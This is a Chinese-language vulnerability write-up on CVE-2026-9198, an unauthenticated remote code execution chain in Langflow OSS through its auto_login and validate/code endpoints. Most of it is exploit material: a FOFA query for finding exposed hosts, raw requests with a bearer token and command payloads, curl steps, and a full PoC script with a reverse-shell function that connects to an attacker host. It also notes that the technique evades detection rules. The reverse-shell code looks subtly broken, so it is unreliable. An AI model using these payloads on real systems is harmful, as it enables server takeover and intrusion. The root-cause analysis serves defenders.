漏洞概览

2026 年 8 月 4 日,CISA 将 CVE-2026-9198 加入已知被利用漏洞(KEV)目录。这个 CVSS 9.8 的零认证远程代码执行漏洞影响 IBM Langflow OSS 1.0.0 至 1.10.0 版本,攻击者无需任何凭据即可通过两个 API 端点的链式调用在目标服务器上执行任意 Python 代码。

Langflow 是 IBM 在 2024 年收购的低代码 AI Agent 可视化编排平台,被大量团队用于拖拽式构建 LLM 工作流。这意味着该漏洞直接威胁 AI 基础设施层——不是模型本身的幻觉或注入,而是承载 Agent 运行的应用服务器。

┌─────────────────────────────────────────────────────┐
│              CVE-2026-9198 攻击链                    │
│                                                     │
│  攻击者                                             │
│    │                                                │
│    ▼                                                │
│  Step 1: POST /api/v1/auto_login                   │
│    │  ← 无需任何凭据                                │
│    ▼                                                │
│  获得 SUPERUSER Bearer Token(长期有效)             │
│    │                                                │
│    ▼                                                │
│  Step 2: POST /api/v1/validate/code                │
│    │  Authorization: Bearer <SUPERUSER_TOKEN>       │
│    │  Body: {"code": "import os; os.system('id')"} │
│    ▼                                                │
│  Python exec() 执行任意代码                         │
│    │                                                │
│    ▼                                                │
│  完全控制 Langflow 服务器进程                        │
└─────────────────────────────────────────────────────┘

影响版本

OSS 1.0.0 <=IBM Langflow <1.10.0

漏洞复现

FOFA:title=“Langflow” ||body=“langflow”

GET /api/v1/auto_login HTTP/1.1
Host: 127.0.0.1
image-20260813153750539.png
POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1
Authorization: Bearer "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlYjdjZTNkMC00ZjNlLTQwYTItOTlhYy03YjI2M2YxZWE1YTMiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxODE4MTQyNTE1fQ.9EQY41U7mOQVzWwrKii-gnnGN3z0Gl4XPxEHCDAy6kI
Content-Type: application/json

{"code": "def _nuclei_scan(_=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True, stderr=__import__(\"subprocess\").STDOUT).decode())')):\n    pass"}
image-20260813153826671.png

漏洞技术细节

根因分析:两个缺陷的致命组合

CVE-2026-9198 不是单一漏洞,而是两个独立设计缺陷的链式利用。

缺陷一:/api/v1/auto_login 认证绕过

Langflow OSS 默认启用 AUTO_LOGIN=True。在这个配置下,/api/v1/auto_login 端点会向任何未认证的网络调用者发放 SUPERUSER 级别的 Bearer Token,且不进行任何凭据检查。

# Langflow OSS 源码中 auto_login 端点的核心逻辑(简化)
@app.post("/api/v1/auto_login")
async def auto_login():
    # AUTO_LOGIN 默认为 True
    # 任何网络调用者都能获得超级用户令牌
    token = create_super_user_token()  # 长期有效
    return {"access_token": token}

关键问题:

  • AUTO_LOGIN 在默认配置中为 True(开箱即用)

  • Token 权限为 SUPERUSER,拥有所有操作的完整权限

  • Token 有效期较长,不存在自动过期机制

  • 无 IP 白名单、无速率限制、无审计日志

缺陷二:/api/v1/validate/code 代码注入

/api/v1/validate/code 端点接收用户提交的 Python 代码,并直接通过 exec() 执行,没有任何沙箱隔离、输入限制或资源限制。

# Langflow OSS 源码中 validate/code 端点的核心逻辑(简化)
@app.post("/api/v1/validate/code")
async def validate_code(
    request: Request,
    code: str = Body(..., embed=True),
    token: str = Depends(get_current_user),  # 只需有效 token
):
    # 直接 exec() 执行用户代码
    # 无沙箱、无 AST 检查、无资源限制
    exec(code)  # ← CWE-94: Improper Control of Generation of Code
    return {"status": "valid"}

exec() 的危险在于它执行的是完整的 Python 语句,包括 importos.system()subprocess.Popen() 等可触发系统级操作的调用。更严重的是,装饰器和默认参数表达式在函数定义时就会执行,即使后续不调用该函数。

MITRE ATT&CK 映射

战术

技术

说明

Initial Access

T1190 Exploit Public-Facing Application

利用暴露的 Langflow API

Execution

T1059.006 Python Execution

通过 exec() 执行 Python 代码

Privilege Escalation

Token 直接为 SUPERUSER,无需提权

Persistence

长期有效 Token + 写入计划任务

攻击链复现

环境准备

# 安装受影响版本
pip install langflow==1.10.0

# 启动 Langflow(默认配置,AUTO_LOGIN=True)
langflow run --host 0.0.0.0 --port 7860

Step 1:获取 SUPERUSER Token

# 无需任何凭据,直接请求 auto_login
curl -X POST http://target:7860/api/v1/auto_login

# 响应:
# {"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
#  "token_type":"bearer"}

Step 2:利用 validate/code 执行任意代码

# 使用获得的 Token 执行系统命令
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

curl -X POST http://target:7860/api/v1/validate/code \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"code": "import os; print(os.popen(\"id\").read())"}'

# 响应包含命令执行结果:
# uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)

完整 PoC 脚本

"""
CVE-2026-9198 PoC - IBM Langflow OSS Unauthenticated RCE
影响版本: 1.0.0 - 1.10.0
修复版本: 1.10.1
仅用于授权安全测试。
"""

import requests
import sys
import json

def exploit(target_url: str, command: str) -> str:
    """
    执行 CVE-2026-9198 攻击链:
    1. 通过 auto_login 获取 SUPERUSER Token
    2. 通过 validate/code 执行任意命令
    """
    session = requests.Session()
    session.headers.update({"User-Agent": "CVE-2026-9198-PoC/1.0"})

    # Step 1: 获取 SUPERUSER Token
    print(f"[*] 目标: {target_url}")
    print("[*] Step 1: 请求 /api/v1/auto_login ...")

    resp = session.post(
        f"{target_url}/api/v1/auto_login",
        timeout=10
    )

    if resp.status_code != 200:
        print(f"[-] auto_login 失败: HTTP {resp.status_code}")
        sys.exit(1)

    token = resp.json().get("access_token")
    if not token:
        print("[-] 响应中未找到 access_token")
        sys.exit(1)

    print(f"[+] 获得 SUPERUSER Token: {token[:50]}...")

    # Step 2: 执行任意代码
    print(f"[*] Step 2: 通过 /api/v1/validate/code 执行命令: {command}")

    payload = {
        "code": f"import os; print(os.popen('{command}').read())"
    }

    resp = session.post(
        f"{target_url}/api/v1/validate/code",
        headers={
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json"
        },
        json=payload,
        timeout=30
    )

    if resp.status_code == 200:
        result = resp.json()
        print(f"[+] 执行成功:")
        print(result)
        return result
    else:
        print(f"[-] 执行失败: HTTP {resp.status_code}")
        print(resp.text)
        sys.exit(1)


def reverse_shell(target_url: str, lhost: str, lport: int):
    """通过 CVE-2026-9198 建立反弹 Shell"""
    shell_code = f"""
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{lhost}", {lport}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
"""
    exploit(target_url, f"exec('''{shell_code}''')")


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: python {sys.argv[0]} <target_url> <command>")
        print(f"示例: python {sys.argv[0]} http://localhost:7860 id")
        sys.exit(0)

    target = sys.argv[1]
    cmd = sys.argv[2]
    exploit(target, cmd)

这种技术可以绕过基于函数体分析的简单检测规则。